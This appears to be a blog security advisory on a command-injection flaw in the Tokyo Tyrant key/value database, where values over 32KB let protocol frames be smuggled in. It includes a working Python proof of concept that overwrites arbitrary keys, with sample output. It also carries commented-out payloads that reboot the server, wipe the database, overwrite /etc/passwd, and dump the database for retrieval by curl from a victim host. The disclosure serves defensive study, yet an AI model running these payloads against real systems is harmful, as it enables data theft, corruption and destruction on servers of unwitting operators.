LOBSTERTECHNOLOGIES
CSSPROPAGANDA

Tokyo Tyrant Protocol Vulnerability

Table of Contents

Synopsis

A remotely exploitable security flaw was discovered for Tokyo Tyrant (a distributed, persistent key/value store database.) Tokyo Tyrant client connections are vulnerable to command-injection when values exceed 32 kilobytes in size, putting at risk any application or website that uses Tokyo Tyrant to store network data. For example, someone could leave a comment on your blog that steals all your data, modifies database content, ejects your server's CDROM drive, and then proceed to destroy all the data and the server itself.

Impact

Applications using Tokyo Tyrant to store user submittable data might be vulnerable to the following attacks:

Practical Considerations

The Problem

Tokyo Tyrant does not "store and forward" protocol frames, but rather uses a getchar() like interface for fetching stream data as needed:

/* handle a task and dispatch it */
static void do_task(TTSOCK *sock, void *opq, TTREQ *req){
TASKARG *arg = (TASKARG *)opq;
int c = ttsockgetc(sock);
int c2;
if(c == TTMAGICNUM){
    c2 = ttsockgetc(sock);

Tokyo Tyrant ignores stream corruption errors without closing the TCP connection:

/* from do_task() @ ttserver.c */

case TTCMDREPL:
    do_repl(sock, arg, req);
    break;
default:
    ttservlog(g_serv, TTLOGINFO, "unknown command");
    break;

/* from do_put() @ ttserver.c */

int ksiz = ttsockgetint32(sock);
int vsiz = ttsockgetint32(sock);
ttservlog(g_serv, TTLOGINFO, "ksiz=%d, vsiz=%d", ksiz, vsiz);
if(ttsockcheckend(sock) || ksiz < 0 || ksiz > MAXARGSIZ || vsiz < 0 || vsiz > MAXARGSIZ){
    ttservlog(g_serv, TTLOGINFO, "do_put: invalid parameters");
    return;
}

Tokyo Tyrant's line handling makes it easy for an attacker to instruct Tyrant to ignore certain data by injecting line feed characters:

/* from do_task() @ ttserver.c */

if(c == TTMAGICNUM){
    [...]
} else {
    ttsockungetc(sock, c);
    char *line = ttsockgets2(sock);
    ttservlog(g_serv, TTLOGINFO, "c=0x%x line: %s", c, line);
    if(line){
        [...]
    }
}

Proof of Concept

The script below demonstrates the feasability of such attacks:

#!/usr/bin/env python
#
# tyrant-security.py
#

import sys
import struct
import pytyrant

if __name__ == '__main__':
    # overwrite arbitrary key
    agony = "i'm in ur cloud, corrupting ur data"
    graffiti = "it wasn't me lol"
    filler = '.' * (32 * 1024 * 1024)
    evil_value = "".join([
        # the value length being greater than 32KB causes the frame
        # header to be consumed (for put() this is 10 bytes)
        '\n', # this causes a readline call in ttserver.c:do_task() to
              # consume the key name 'hello' so only the user-inputted
              # value is left-over
        struct.pack('>BBII', 0xc8, 0x10, len('love'), len(agony)),
        'love', agony,
        struct.pack('>BBII', 0xc8, 0x18, len('hello'), len(graffiti)),
        'hello', graffiti,
        struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
        'filler', filler,
    ])

    tt = pytyrant.Tyrant.open('127.0.0.1', 1978)
    tt.put('love', 'i love you')
    print "Before Attack: love = %s" % (tt.get('love'))
    print "Executing PUT hello = %r... (malicious form input)" % (evil_value[:20])
    tt.put('hello', evil_value)
    print "After Attack: hello = %s" % (tt.get('hello'))
    print "After Attack: love = %s" % (tt.get('love'))

    # # eject the cdrom drive and reboot the server
    # evil_value = "".join([
    #     '\n',
    #     struct.pack('>BBI', 0xc8, 0x73, len('eject')), 'eject',
    #     struct.pack('>BBI', 0xc8, 0x73, len('reboot')), 'reboot',
    #     struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
    #     'filler', filler,
    # ])

    # # nuke entire database (vanish)
    # evil_value = "".join([
    #     '\n',
    #     struct.pack('>BB', 0xc8, 0x72),
    #     struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
    #     'filler', filler,
    # ])

    # # retrieve dump of database
    # evil_value = "".join([
    #     '\n',
    #     struct.pack('>BB', 0xc8, 0x73, len('/var/www/media/dbdump.tch')),
    #     '/var/www/media/dbdump.tch',
    #     struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
    #     'filler', filler,
    # ])
    # os.system('curl http://victim.com/media/dbdump.tch')

    # # nuke /etc/passwd
    # evil_value = "".join([
    #     '\n',
    #     struct.pack('>BBI', 0xc8, 0x73, len('/etc/passwd')),
    #     '/etc/passwd',
    #     struct.pack('>BBII', 0xc8, 0x18, len('filler'), len(filler)),
    #     'filler', filler,
    # ])

Here is an example invocation:

jart@compy:~$ ttserver &
jart@compy:~$ python tyrant-security.py
Before Attack: love = i love you
Executing PUT hello = "\n\xc8\x10\x00\x00\x00\x04\x00\x00\x00#lovei'm i"... (malicious form input)
After Attack: hello = it wasn't me lol
After Attack: love = i'm in ur cloud, corrupting ur data